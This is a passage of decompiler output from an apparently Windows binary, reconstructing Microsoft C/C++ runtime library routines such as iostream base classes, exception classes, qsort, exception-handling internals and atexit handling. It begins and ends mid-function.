esi@1 void *v2; // eax@1 void *v3; // edi@2 void *v4; // eax@3 void *v5; // edi@4 v1 = this; std::ios_base::_Callfns(this, 0); v2 = v1->_Arr; if ( v2 ) { do { v3 = *(void **)v2; operator delete(v2); v2 = v3; } while ( v3 ); } v4 = v1->_Calls; v1->_Arr = 0; if ( v4 ) { do { v5 = *(void **)v4; operator delete(v4); v4 = v5; } while ( v5 ); } v1->_Calls = 0; } //----- (00575D9E) -------------------------------------------------------- void __thiscall std::ios_base::_ios_base(std::ios_base *this) { std::ios_base *v1; // esi@1 int v2; // eax@1 std::locale *v3; // esi@3 v1 = this; v2 = *(_DWORD *)&this->___u1.baseclass_4.dummy[0]; this->vfptr = (std::ios_baseVtbl *)&std::ios_base::_vftable_; if ( !v2 || (--stdopens[v2], stdopens[*(_DWORD *)&this->___u1.baseclass_4.dummy[0]] <= 0) ) { std::ios_base::_Tidy(this); v3 = v1->_Ploc; if ( v3 ) { std::locale::_locale(v3); operator delete(&v3->___u0); } } } // 5E8754: using guessed type int (__thiscall *std__ios_base___vftable_)(void *p, char); //----- (00575DDE) -------------------------------------------------------- void __thiscall std::runtime_error::_runtime_error(std::runtime_error *this) { exception *v1; // esi@1 v1 = (exception *)this; this->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::_Tidy(&this->_Str, 1, 0); exception::_exception(v1); } // 5E875C: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (00575DFB) -------------------------------------------------------- const char *__thiscall std::runtime_error::what(std::runtime_error *this) { const char *result; // eax@2 if ( this->_Str._Myres < 0x10 ) result = (const char *)&this->_Str._Bx; else result = *(const char **)&this->_Str._Bx._Buf[0]; return result; } //----- (00575E09) -------------------------------------------------------- void *__thiscall std::runtime_error::_vector_deleting_destructor_(std::runtime_error *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::runtime_error::_runtime_error(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00575E25) -------------------------------------------------------- void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::basic_string,std::allocator > *_Message) { std::runtime_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::basic_string_std::allocator>( &v2->_Str, _Message); } // 5E875C: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (00575E61) -------------------------------------------------------- void *__thiscall std::ios_base::failure::_scalar_deleting_destructor_(std::ios_base::failure *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ios_base::failure::_failure(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00575E7D) -------------------------------------------------------- void __thiscall std::ios_base::failure::_failure(std::ios_base::failure *this) { this->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::ios_base::failure::_vftable_; std::runtime_error::_runtime_error(&this->baseclass_0); } // 5E8768: using guessed type int (__thiscall *std__ios_base__failure___vftable_)(void *p, char); //----- (00575E88) -------------------------------------------------------- void __thiscall std::ios_base::clear(std::ios_base *this, int state, bool reraise) { int v3; // eax@1 int v4; // ecx@1 int *v5; // eax@6 void *v6; // [sp-8h] [bp-9Ch]@3 _s__ThrowInfo *v7; // [sp-4h] [bp-98h]@3 std::basic_string,std::allocator > _Message; // [sp+0h] [bp-94h]@9 int (__thiscall **v9)(void *, char); // [sp+1Ch] [bp-78h]@9 std::basic_string,std::allocator > thisa; // [sp+44h] [bp-50h]@5 int (__thiscall **pExceptionObject)(void *, char); // [sp+60h] [bp-34h]@6 int v12; // [sp+90h] [bp-4h]@5 v3 = state & 0x17; this->_Mystate = v3; v4 = v3 & this->_Except; if ( v4 ) { if ( reraise ) { v7 = 0; v6 = 0; goto LABEL_11; } if ( v4 & 4 ) { std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "ios_base::badbit set"); v12 = 0; } else { if ( !(v4 & 2) ) { std::basic_string_std::allocator>::basic_string_std::allocator>( &_Message, "ios_base::eofbit set"); v12 = 2; std::runtime_error::runtime_error((std::runtime_error *)&v9, &_Message); v9 = &std::ios_base::failure::_vftable_; v7 = &_TI3_AVfailure_ios_base_std__; v5 = (int *)&v9; goto LABEL_10; } std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "ios_base::failbit set"); v12 = 1; } std::runtime_error::runtime_error((std::runtime_error *)&pExceptionObject, &thisa); pExceptionObject = &std::ios_base::failure::_vftable_; v7 = &_TI3_AVfailure_ios_base_std__; v5 = (int *)&pExceptionObject; LABEL_10: v6 = v5; LABEL_11: _CxxThrowException(v6, v7); } } // 5E8768: using guessed type int (__thiscall *std__ios_base__failure___vftable_)(void *p, char); //----- (00575F4E) -------------------------------------------------------- void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::runtime_error *__that) { std::runtime_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::basic_string_std::allocator>( &v2->_Str, &__that->_Str); } // 5E875C: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (00575F91) -------------------------------------------------------- void __thiscall std::ios_base::failure::failure(std::ios_base::failure *this, std::ios_base::failure *__that) { std::ios_base::failure *v2; // esi@1 v2 = this; std::runtime_error::runtime_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::ios_base::failure::_vftable_; } // 5E8768: using guessed type int (__thiscall *std__ios_base__failure___vftable_)(void *p, char); //----- (00575FA9) -------------------------------------------------------- void __thiscall std::ios_base::_Init(std::ios_base *this) { std::ios_base *v1; // esi@1 void *v2; // eax@1 std::locale *v3; // eax@2 v1 = this; v2 = operator new(4u); if ( v2 ) std::locale::locale((std::locale *)v2); else v3 = 0; v1->_Ploc = v3; v1->_Except = 0; v1->_Fmtfl = 513; v1->_Prec = 6; v1->_Wide = 0; v1->_Arr = 0; v1->_Calls = 0; std::ios_base::clear(v1, 0, 0); } //----- (00575FEF) -------------------------------------------------------- void __thiscall std::_Mutex::_Mutex(std::_Mutex *this) { std::_Mutex *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = operator new(0x18u); v1->_Mtx = v2; _Mtxinit((_RTL_CRITICAL_SECTION *)v2); } //----- (00576007) -------------------------------------------------------- void __thiscall std::_Mutex::__Mutex(std::_Mutex *this) { void **v1; // esi@1 v1 = (void **)this; _Mtxdst((_RTL_CRITICAL_SECTION *)this->_Mtx); operator delete(*v1); } //----- (0057601C) -------------------------------------------------------- void __thiscall std::_Mutex::_Lock(std::_Mutex *this) { _Mtxlock((_RTL_CRITICAL_SECTION *)this->_Mtx); } //----- (00576025) -------------------------------------------------------- void __thiscall std::_Mutex::_Unlock(std::_Mutex *this) { _Mtxunlock((_RTL_CRITICAL_SECTION *)this->_Mtx); } //----- (0057602E) -------------------------------------------------------- int __cdecl _Toupper_lk(int c, _Ctypevec *ploc) { _Ctypevec *v2; // esi@1 unsigned int v3; // edi@2 unsigned int v4; // eax@2 int result; // eax@5 bool v6; // zf@10 int v7; // eax@15 int v8; // eax@17 int v9; // eax@20 int codepage; // [sp+8h] [bp-Ch]@4 char outbuffer[3]; // [sp+10h] [bp-4h]@17 v2 = ploc; if ( ploc ) { v3 = ploc->_Hand; v4 = ploc->_Page; } else { v3 = ___lc_handle_func()[2]; v4 = ___lc_codepage_func(); } codepage = v4; if ( v3 ) { if ( (unsigned int)c < 0x100 && (v2 ? (v6 = (v2->_Table[c] & 2) == 0) : (v6 = islower(c) == 0), v6) || (!(HIBYTE(__pctype_func()[BYTE1(c)]) & 0x80) ? (LOWORD(ploc) = (unsigned __int8)c, v7 = 1) : (LOBYTE(ploc) = BYTE1(c), *(_WORD *)((char *)&ploc + 1) = (unsigned __int8)c, v7 = 2), (v8 = __crtLCMapStringA(v3, 0x200u, (const char *)&ploc, v7, outbuffer, 3, codepage, 1)) == 0) ) { result = c; } else { if ( v8 == 1 ) { result = (unsigned __int8)outbuffer[0]; } else { v9 = 0; BYTE1(v9) = outbuffer[0]; result = (unsigned __int8)outbuffer[1] | v9; } } } else { result = c; if ( c >= 97 ) { if ( c <= 122 ) result = c - 32; } } return result; } //----- (0057610E) -------------------------------------------------------- int __cdecl _Toupper(int c, _Ctypevec *ploc) { unsigned int v2; // eax@2 int result; // eax@5 int *v4; // eax@8 int *v5; // eax@9 int *v6; // eax@15 signed int local_lock_flag; // [sp+Ch] [bp-1Ch]@9 if ( ploc ) v2 = ploc->_Hand; else v2 = ___lc_handle_func()[2]; if ( v2 ) { v4 = ___unguarded_readlc_active_add_func(); InterlockedIncrement(v4); if ( ___setlc_active_func() ) { v5 = ___unguarded_readlc_active_add_func(); InterlockedDecrement(v5); _lock(12); local_lock_flag = 1; } else { local_lock_flag = 0; } _Toupper_lk(c, ploc); if ( local_lock_flag ) { _unlock(12); } else { v6 = ___unguarded_readlc_active_add_func(); result = InterlockedDecrement(v6); } } else { result = c; if ( c >= 97 ) { if ( c <= 122 ) result = c - 32; } } return result; } //----- (005761BF) -------------------------------------------------------- _iobuf *__cdecl std::_Fiopen(const char *filename, int mode, int __formal) { int v3; // edx@1 int v4; // edx@3 int v5; // eax@3 const int v6; // ecx@3 int v7; // esi@6 _iobuf *v8; // eax@9 _iobuf *v9; // eax@11 _iobuf *v10; // esi@11 _iobuf *v12; // [sp-4h] [bp-10h]@10 v3 = mode; if ( mode & 0x40 ) v3 = mode | 1; v4 = v3 & 0xFFFFFF3B; v5 = 0; v6 = 1; do { if ( v6 == v4 ) break; v6 = valid[v5++ + 1]; } while ( v6 ); v7 = v5; if ( !valid[v5] ) return 0; if ( mode & 0x80 ) { if ( v4 & 1 ) { v8 = fopen(filename, "r"); if ( v8 ) { v12 = v8; LABEL_15: fclose(v12); return 0; } } } v9 = fopen(filename, mods[v7]); v10 = v9; if ( !v9 ) return 0; if ( mode & 4 && fseek(v9, 0, 2) ) { v12 = v10; goto LABEL_15; } return v10; } //----- (00576261) -------------------------------------------------------- long double __cdecl _Stod(const char *s, char **endptr, int pten) { long double result; // st7@1 int v4; // eax@1 bool v5; // sf@1 unsigned __int8 v6; // of@1 int v7; // ecx@2 int v8; // eax@6 result = strtod(s, endptr); v4 = pten; v6 = 0; v5 = pten < 0; if ( pten > 0 ) { v7 = pten; v4 = 0; do { --v7; result = result * 10.0; } while ( v7 ); v6 = 0; v5 = 0; } if ( v5 ^ v6 ) { v8 = -v4; do { --v8; result = result * 0.1; } while ( v8 ); } return result; } //----- (00576295) -------------------------------------------------------- long double __cdecl _Stold(const char *s, char **endptr, int pten) { return _Stod(s, endptr, pten); } //----- (005762AA) -------------------------------------------------------- void __thiscall std::bad_alloc::_bad_alloc(std::bad_alloc *this) { this->baseclass_0.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; exception::_exception(&this->baseclass_0); } // 5E881C: using guessed type int (__thiscall *std__bad_alloc___vftable_)(void *p, char); //----- (005762B5) -------------------------------------------------------- void *__thiscall std::bad_alloc::_vector_deleting_destructor_(std::bad_alloc *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::bad_alloc::_bad_alloc(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005762D1) -------------------------------------------------------- void __thiscall std::bad_alloc::bad_alloc(std::bad_alloc *this, std::bad_alloc *__that) { std::bad_alloc *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; } // 5E881C: using guessed type int (__thiscall *std__bad_alloc___vftable_)(void *p, char); //----- (005762E9) -------------------------------------------------------- void __cdecl std::_Nomemory() { exception this; // [sp+4h] [bp-10h]@4 char *what; // [sp+10h] [bp-4h]@2 if ( !(_S1 & 1) ) { _S1 |= 1u; what = "bad allocation"; exception::exception(&nomem.baseclass_0, (const char *const *)&what); nomem.baseclass_0.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; atexit(_E2_43); } exception::exception(&this, &nomem.baseclass_0); this.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; _CxxThrowException(&this, &_TI2_AVbad_alloc_std__); } // 5E881C: using guessed type int (__thiscall *std__bad_alloc___vftable_)(void *p, char); //----- (0057634A) -------------------------------------------------------- void __cdecl _Mtxinit(_RTL_CRITICAL_SECTION *_Mtx) { InitializeCriticalSection(_Mtx); } //----- (00576355) -------------------------------------------------------- void __cdecl _Mtxdst(_RTL_CRITICAL_SECTION *_Mtx) { DeleteCriticalSection(_Mtx); } //----- (00576360) -------------------------------------------------------- void __cdecl _Mtxlock(_RTL_CRITICAL_SECTION *_Mtx) { EnterCriticalSection(_Mtx); } //----- (0057636B) -------------------------------------------------------- void __cdecl _Mtxunlock(_RTL_CRITICAL_SECTION *_Mtx) { LeaveCriticalSection(_Mtx); } //----- (00576376) -------------------------------------------------------- void __cdecl _Atexit(void (__cdecl *pf)()) { if ( !atcount[0] ) abort(); --atcount[0]; atfuns[atcount[0]] = pf; } //----- (00576396) -------------------------------------------------------- void __thiscall _Init_atexit::__Init_atexit(_Init_atexit *this) { void (*v1)(void); // eax@2 while ( atcount[0] < 0xA ) { v1 = atfuns[atcount[0]++]; v1(); } } //----- (005763C0) -------------------------------------------------------- void __usercall shortsort(char *hi, char *lo, unsigned int width, int (__cdecl *comp)(const void *, const void *)) { char *v4; // ecx@1 char *i; // edi@1 const void *v6; // esi@2 const void *v7; // ebx@2 char *v8; // eax@7 int v9; // ecx@9 unsigned int v10; // esi@9 char v11; // dl@10 v4 = lo; for ( i = hi; i > v4; i -= width ) { v6 = &v4[width]; v7 = v4; if ( &v4[width] <= i ) { do { if ( comp(v6, v7) > 0 ) v7 = v6; v6 = (char *)v6 + width; } while ( v6 <= i ); v4 = lo; } v8 = i; if ( v7 != i && width ) { v9 = v7 - i; v10 = width; do { v11 = v8[v9]; v8[v9] = *v8; *v8++ = v11; --v10; } while ( v10 ); v4 = lo; } } } //----- (00576430) -------------------------------------------------------- void __cdecl qsort(void *base, unsigned int num, unsigned int width, int (__cdecl *comp)(const void *, const void *)) { unsigned int v4; // ebp@2 void *v5; // ebx@3 char *v6; // esi@3 unsigned int v7; // eax@4 int v8; // eax@6 const void *v9; // edi@8 const void *v10; // eax@9 int v11; // ecx@10 unsigned int v12; // esi@10 char v13; // dl@11 char *v14; // eax@14 int v15; // ecx@15 unsigned int v16; // esi@15 char v17; // dl@16 char *v18; // eax@19 int v19; // ecx@20 unsigned int v20; // esi@20 char v21; // dl@21 const void *v22; // esi@23 const void *v23; // eax@33 int v24; // ebp@34 char v25; // cl@35 void *v26; // eax@43 void *lo; // [sp+0h] [bp-100h]@3 void *hi; // [sp+4h] [bp-FCh]@3 int stkptr; // [sp+8h] [bp-F8h]@3 unsigned int v30; // [sp+Ch] [bp-F4h]@34 void *lostk[30]; // [sp+10h] [bp-F0h]@7 void *histk[30]; // [sp+88h] [bp-78h]@7 if ( num >= 2 ) { v4 = width; if ( width ) { v5 = base; v6 = (char *)base + width * (num - 1); stkptr = 0; lo = base; hi = (char *)base + width * (num - 1); while ( 1 ) { while ( 1 ) { v7 = (v6 - v5) / v4 + 1; if ( v7 <= 8 ) { shortsort((char *)v5, v6, v4, comp); goto LABEL_6; } v9 = (char *)v5 + v4 * (v7 >> 1); if ( comp(v5, v9) > 0 ) { v10 = v9; if ( v5 != v9 ) { v11 = v5 - v9; v12 = v4; do { v13 = *((_BYTE *)v10 + v11); *((_BYTE *)v10 + v11) = *(_BYTE *)v10; *(_BYTE *)v10 = v13; v10 = (char *)v10 + 1; --v12; } while ( v12 ); v5 = lo; v6 = (char *)hi; } } if ( comp(v5, v6) > 0 ) { v14 = v6; if ( v5 != v6 ) { v15 = v5 - v6; v16 = v4; do { v17 = v14[v15]; v14[v15] = *v14; *v14++ = v17; --v16; } while ( v16 ); v5 = lo; v6 = (char *)hi; } } if ( comp(v9, v6) > 0 ) { v18 = v6; if ( v9 != v6 ) { v19 = v9 - v6; v20 = v4; do { v21 = v18[v19]; v18[v19] = *v18; *v18++ = v21; --v20; } while ( v20 ); v5 = lo; } } v22 = hi; while ( 1 ) { if ( v9 > v5 ) { while ( 1 ) { v5 = (char *)v5 + v4; if ( v5 >= v9 ) break; if ( comp(v5, v9) > 0 ) { if ( v9 > v5 ) goto LABEL_30; goto LABEL_28; } } } do LABEL_28: v5 = (char *)v5 + v4; while ( v5 <= hi && comp(v5, v9) <= 0 ); do LABEL_30: v22 = (char *)v22 - v4; while ( v22 > v9 && comp(v22, v9) > 0 ); if ( v5 > v22 ) break; v23 = v22; if ( v5 != v22 ) { v24 = v5 - v22; v30 = width; do { v25 = *((_BYTE *)v23 + v24); *((_BYTE *)v23 + v24) = *(_BYTE *)v23; *(_BYTE *)v23 = v25; v23 = (char *)v23 + 1; --v30; } while ( v30 ); v4 = width; } if ( v9 == v22 ) v9 = v5; } v6 = (char *)v22 + v4; if ( v9 >= v6 ) goto LABEL_43; do { v6 -= v4; if ( v6 <= v9 ) goto LABEL_43; } while ( !comp(v6, v9) ); if ( v9 < v6 ) { LABEL_45: v26 = lo; } else { LABEL_43: while ( 1 ) { v26 = lo; v6 -= v4; if ( v6 <= lo ) break; if ( comp(v6, v9) ) goto LABEL_45; } } if ( (signed int)(v6 - v26) >= (signed int)(hi - v5) ) break; if ( v5 < hi ) { lostk[stkptr] = v5; histk[stkptr++] = hi; } if ( v26 >= v6 ) { LABEL_6: v8 = stkptr-- - 1; if ( stkptr < 0 ) return; lo = lostk[v8]; hi = histk[v8]; v5 = lostk[v8]; v6 = (char *)histk[v8]; } else { v5 = lo; hi = v6; } } if ( v26 < v6 ) { lostk[stkptr] = v26; histk[stkptr++] = v6; } if ( v5 >= hi ) goto LABEL_6; v6 = (char *)hi; lo = v5; } } } } //----- (005766B3) -------------------------------------------------------- void __stdcall _JumpToContinuation(void *target, EHRegistrationNode *pRN) { ((void (__stdcall *)(_DWORD, _DWORD))target)(target, pRN); } //----- (005766E3) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (005766EA) -------------------------------------------------------- void __stdcall _UnwindNestedFrames(EHRegistrationNode *pRN, EHExceptionRecord *pExcept) { int v2; // edi@0 int v3; // esi@0 RtlUnwind(pRN, ReturnPoint, (PEXCEPTION_RECORD)pExcept, 0); pExcept->ExceptionFlags &= 0xFFFFFFFDu; *(_DWORD *)v3 = v2; } // 576713: using guessed type int __stdcall ReturnPoint(int pRN, int pExcept); //----- (0057673C) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl __CxxFrameHandler(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { _s_FuncInfo *v4; // eax@0 return __InternalCxxFrameHandler(pExcept, pRN, (_CONTEXT *)pContext, pDC, v4, 0, 0, 0); } //----- (00576772) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl CatchGuardHandler(EHExceptionRecord *pExcept, CatchGuardRN *pRN, void *pContext, void *__formal) { _EXCEPTION_DISPOSITION result; // eax@2 if ( pRN->RandomCookie == __security_cookie ) { result = __InternalCxxFrameHandler( pExcept, pRN->pRN, (_CONTEXT *)pContext, 0, pRN->pFuncInfo, pRN->CatchDepth, (EHRegistrationNode *)&pRN->pNext, 0); } else { pExcept->ExceptionFlags |= 8u; result = 1; } return result; } // 610D14: using guessed type int __security_cookie; //----- (005767AD) -------------------------------------------------------- int __cdecl _CallSETranslator(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC, _s_FuncInfo *pFuncInfo, int CatchDepth, EHRegistrationNode *pMarkerRN) { _tiddata *v8; // eax@4 unsigned int v9; // [sp-8h] [bp-40h]@3 int v10; // [sp+0h] [bp-38h]@3 int DidTranslate; // [sp+4h] [bp-34h]@3 _EXCEPTION_POINTERS pointers; // [sp+8h] [bp-30h]@3 TranslatorGuardRN TGRN; // [sp+10h] [bp-28h]@3 int v14; // [sp+38h] [bp+0h]@3 if ( pExcept != (EHExceptionRecord *)291 ) { TGRN.pFrameHandler = TranslatorGuardHandler; TGRN.pFuncInfo = pFuncInfo; TGRN.pRN = pRN; TGRN.CatchDepth = CatchDepth; TGRN.pMarkerRN = pMarkerRN; TGRN.DidUnwind = 0; TGRN.ESP = &v10; TGRN.EBP = &v14; TGRN.pNext = pMarkerRN; DidTranslate = 1; pointers.ExceptionRecord = (_EXCEPTION_RECORD *)pExcept; pointers.ContextRecord = (_CONTEXT *)pContext; v9 = pExcept->ExceptionCode; v8 = _getptd(); ((void (__cdecl *)(unsigned int, _EXCEPTION_POINTERS *))v8->_translator)(v9, &pointers); DidTranslate = 0; JUMPOUT(*(int *)ExceptionContinuation); } pRN->pNext = (EHRegistrationNode *)ExceptionContinuation; return 1; } // 576848: using guessed type int __cdecl ExceptionContinuation(int pExcept, int pRN, int pContext, int pDC, int pFuncInfo, int CatchDepth, int pMarkerRN); //----- (00576874) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl TranslatorGuardHandler(EHExceptionRecord *pExcept, TranslatorGuardRN *pRN, void *pContext, void *__formal) { int v4; // ebp@0 _EXCEPTION_DISPOSITION result; // eax@2 if ( *(_DWORD *)(*(_DWORD *)(v4 + 12) + 8) == __security_cookie ) { if ( *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) & 0x66 ) { *(_DWORD *)(*(_DWORD *)(v4 + 12) + 36) = 1; result = 1; } else { __InternalCxxFrameHandler( *(EHExceptionRecord **)(v4 + 8), *(EHRegistrationNode **)(*(_DWORD *)(v4 + 12) + 16), *(_CONTEXT **)(v4 + 16), 0, *(_s_FuncInfo **)(*(_DWORD *)(v4 + 12) + 12), *(_DWORD *)(*(_DWORD *)(v4 + 12) + 20), *(EHRegistrationNode **)(*(_DWORD *)(v4 + 12) + 24), 1); if ( !*(_DWORD *)(*(_DWORD *)(v4 + 12) + 36) ) _UnwindNestedFrames(*(EHRegistrationNode **)(v4 + 12), *(EHExceptionRecord **)(v4 + 8)); _CallSETranslator((EHExceptionRecord *)0x123, (EHRegistrationNode *)(v4 - 4), 0, 0, 0, 0, 0); result = (*(int (**)(void))(v4 - 4))(); } } else { *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) |= 8u; result = 1; } return result; } // 610D14: using guessed type int __security_cookie; //----- (00576926) -------------------------------------------------------- _s_TryBlockMapEntry *__cdecl _GetRangeOfTrysToCheck(_s_FuncInfo *pFuncInfo, int CatchDepth, int curState, unsigned int *pStart, unsigned int *pEnd) { _s_FuncInfo *v5; // edi@1 unsigned int v6; // esi@1 _s_TryBlockMapEntry *v7; // ebx@1 unsigned int v8; // eax@1 int v9; // eax@4 unsigned int v10; // esi@10 unsigned int end; // [sp+Ch] [bp-4h]@1 unsigned int end1; // [sp+18h] [bp+8h]@1 v5 = pFuncInfo; v6 = pFuncInfo->nTryBlocks; v7 = pFuncInfo->pTryBlockMap; v8 = pFuncInfo->nTryBlocks; end = pFuncInfo->nTryBlocks; end1 = pFuncInfo->nTryBlocks; if ( CatchDepth >= 0 ) { do { if ( v6 == -1 ) _inconsistency(); --v6; v9 = (int)&v7[v6]; if ( *(_DWORD *)(v9 + 4) < curState && curState <= *(_DWORD *)(v9 + 8) || v6 == -1 ) { --CatchDepth; end = end1; end1 = v6; } } while ( CatchDepth >= 0 ); v8 = end; } v10 = v6 + 1; *pStart = v10; *pEnd = v8; if ( v8 > v5->nTryBlocks || v10 > v8 ) _inconsistency(); return &v7[v10]; } //----- (005769A0) -------------------------------------------------------- FrameInfo *__cdecl _CreateFrameInfo(FrameInfo *pFrameInfo, void *pExceptionObject) { pFrameInfo->pExceptionObject = pExceptionObject; pFrameInfo->pNext = (FrameInfo *)_getptd()->_pFrameInfoChain; _getptd()->_pFrameInfoChain = pFrameInfo; return pFrameInfo; } //----- (005769C8) -------------------------------------------------------- int __cdecl IsExceptionObjectToBeDestroyed(void *pExceptionObject) { void *i; // eax@1 for ( i = _getptd()->_pFrameInfoChain; ; i = (void *)*((_DWORD *)i + 1) ) { if ( !i ) return 1; if ( *(void **)i == pExceptionObject ) break; } return 0; } //----- (005769E9) -------------------------------------------------------- void __cdecl _FindAndUnlinkFrame(FrameInfo *pFrameInfo) { void *i; // eax@3 if ( pFrameInfo == (FrameInfo *)_getptd()->_pFrameInfoChain ) { _getptd()->_pFrameInfoChain = pFrameInfo->pNext; } else { for ( i = _getptd()->_pFrameInfoChain; ; i = (void *)*((_DWORD *)i + 1) ) { if ( !*((_DWORD *)i + 1) ) _inconsistency(); if ( pFrameInfo == *((FrameInfo **)i + 1) ) break; } *((_DWORD *)i + 1) = pFrameInfo->pNext; } } //----- (00576A35) -------------------------------------------------------- void *__cdecl _CallCatchBlock2(EHRegistrationNode *pRN, _s_FuncInfo *pFuncInfo, void *handlerAddress, int CatchDepth, unsigned int NLGCode) { void *result; // eax@1 _CallSettingFrame((unsigned int)handlerAddress, (unsigned int)pRN, NLGCode); return result; } //----- (00576A90) -------------------------------------------------------- void __cdecl _global_unwind2(PVOID TargetFrame) { RtlUnwind(TargetFrame, gu_return, 0, 0); } // 576AA8: using guessed type int __cdecl gu_return(PVOID TargetFrame); //----- (00576AB0) -------------------------------------------------------- signed int __cdecl ___00003(int a1, int a2, int a3, int a4) { signed int result; // eax@1 result = 1; if ( *(_DWORD *)(a1 + 4) & 6 ) { *(_DWORD *)a4 = a2; result = 3; } return result; } //----- (00576AD2) -------------------------------------------------------- int __cdecl _local_unwind2(int a1, int a2) { int result; // eax@1 int v3; // ebx@1 int v4; // esi@1 int v5; // esi@3 int v6; // ST00_4@4 while ( 1 ) { result = a1; v3 = *(_DWORD *)(a1 + 8); v4 = *(_DWORD *)(a1 + 12); if ( v4 == -1 ) break; if ( v4 == a2 ) break; v5 = 3 * v4; *(_DWORD *)(a1 + 12) = *(_DWORD *)(v3 + 4 * v5); if ( !*(_DWORD *)(v3 + 4 * v5 + 4) ) { _NLG_Notify(0x101u); (*(void (__stdcall **)(int))(v3 + 4 * v5 + 8))(v6); } } return result; } //----- (00576B3A) -------------------------------------------------------- int __cdecl _abnormal_termination() { int v0; // ecx@0 int result; // eax@1 result = 0; if ( *(signed int (__cdecl **)(int, int, int, int))(v0 + 4) == ___00003 ) { if ( *(_DWORD *)(v0 + 8) == *(_DWORD *)(*(_DWORD *)(v0 + 12) + 12) ) result = 1; } return result; } //----- (00576B5D) -------------------------------------------------------- void __cdecl _NLG_Notify1() { JUMPOUT(_NLG_Go); } // 576B70: using guessed type int __cdecl _NLG_Go(int, int dwInCode); //----- (00576B66) -------------------------------------------------------- void __cdecl _NLG_Notify(unsigned int dwInCode) { int v1; // eax@0 int v2; // ebp@0 _NLG_Destination[2] = *(_DWORD *)(v2 + 8); _NLG_Destination[1] = v1; _NLG_Destination[3] = v2; } //----- (00576B83) -------------------------------------------------------- void __stdcall __ArrayUnwind(void *ptr, unsigned int size, int count, void (__thiscall *pDtor)(void *)) { while ( 1 ) { --count; if ( count < 0 ) break; ptr = (char *)ptr - size; ((void (*)(void))pDtor)(); } } //----- (00576BE1) -------------------------------------------------------- void __stdcall _eh_vector_destructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pDtor)(void *)) { void *ptra; // [sp+30h] [bp+8h]@1 for ( ptra = (char *)ptr + count * size; ; pDtor(ptra) ) { --count; if ( count < 0 ) break; ptra = (char *)ptra - size; } } //----- (00576C41) -------------------------------------------------------- void __cdecl report_failure() { __security_error_handler(1, 0); } //----- (00576C80) -------------------------------------------------------- void __stdcall _eh_vector_constructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pCtor)(void *), void (__thiscall *pDtor)(void *)) { int i; // [sp+10h] [bp-1Ch]@1 for ( i = 0; i < count; ++i ) { pCtor(ptr); ptr = (char *)ptr + size; } } //----- (00576CE2) -------------------------------------------------------- int (__cdecl *__usercall onexit_lk(int (__cdecl *func)()))() { unsigned int v1; // eax@1 int v2; // ecx@1 unsigned int v3; // esi@1 signed int v4; // ecx@2 int (__cdecl *result)(); // eax@4 signed int v6; // ecx@6 v1 = _msize(__onexitbegin); v2 = __onexitend; v3 = v1; if ( v1 >= __onexitend - (signed int)__onexitbegin + 4 ) goto LABEL_7; v4 = 2048; if ( v1 < 0x800 ) v4 = v1; result = (int (__cdecl *)())realloc(__onexitbegin, v1 + v4); if ( result || (result = (int (__cdecl *)())realloc(__onexitbegin, v3 + 16)) != 0 ) { v6 = __onexitend - (_DWORD)__onexitbegin; __onexitbegin = result; v2 = (int)((char *)result + 4 * (v6 >> 2)); __onexitend = v2; LABEL_7: *(_DWORD *)v2 = func; __onexitend += 4; result = func; } return result; } // 146D195C: using guessed type int __onexitend; //----- (00576D62) -------------------------------------------------------- int __cdecl __onexitinit() { void *v0; // eax@1 int result; // eax@2 v0 = malloc(0x80u); __onexitbegin = v0; if ( v0 ) { *(_DWORD *)v0 = 0; __onexitend = (int)__onexitbegin; result = 0; } else { result = 24; } return result; } // 146D195C: using guessed type int __onexitend; //----- (00576D8A) -------------------------------------------------------- int (__cdecl *__cdecl _onexit(int (__cdecl *func)()))() { int (__cdecl *result)(); // eax@1 _lockexit(); onexit_lk(func); _unlockexit(); return result; } //----- (00576DC2) -------------------------------------------------------- int __cdecl atexit(void (__cdecl *func)()) { _onexit((int (__cdecl *)())func); } //----- (00576DD4) -------------------------------------------------------- int __cdecl sprintf(char *string, const char *format) { int v2; // edi@1 _iobuf str; // [sp+8h] [bp-20h]@1 char argptr; // [sp+38h] [bp+10h]@0 str._cnt = 2147483647; str._flag = 66; str._base = string; str._ptr = string; v2 = _output(&str, format, &argptr); if ( string ) { 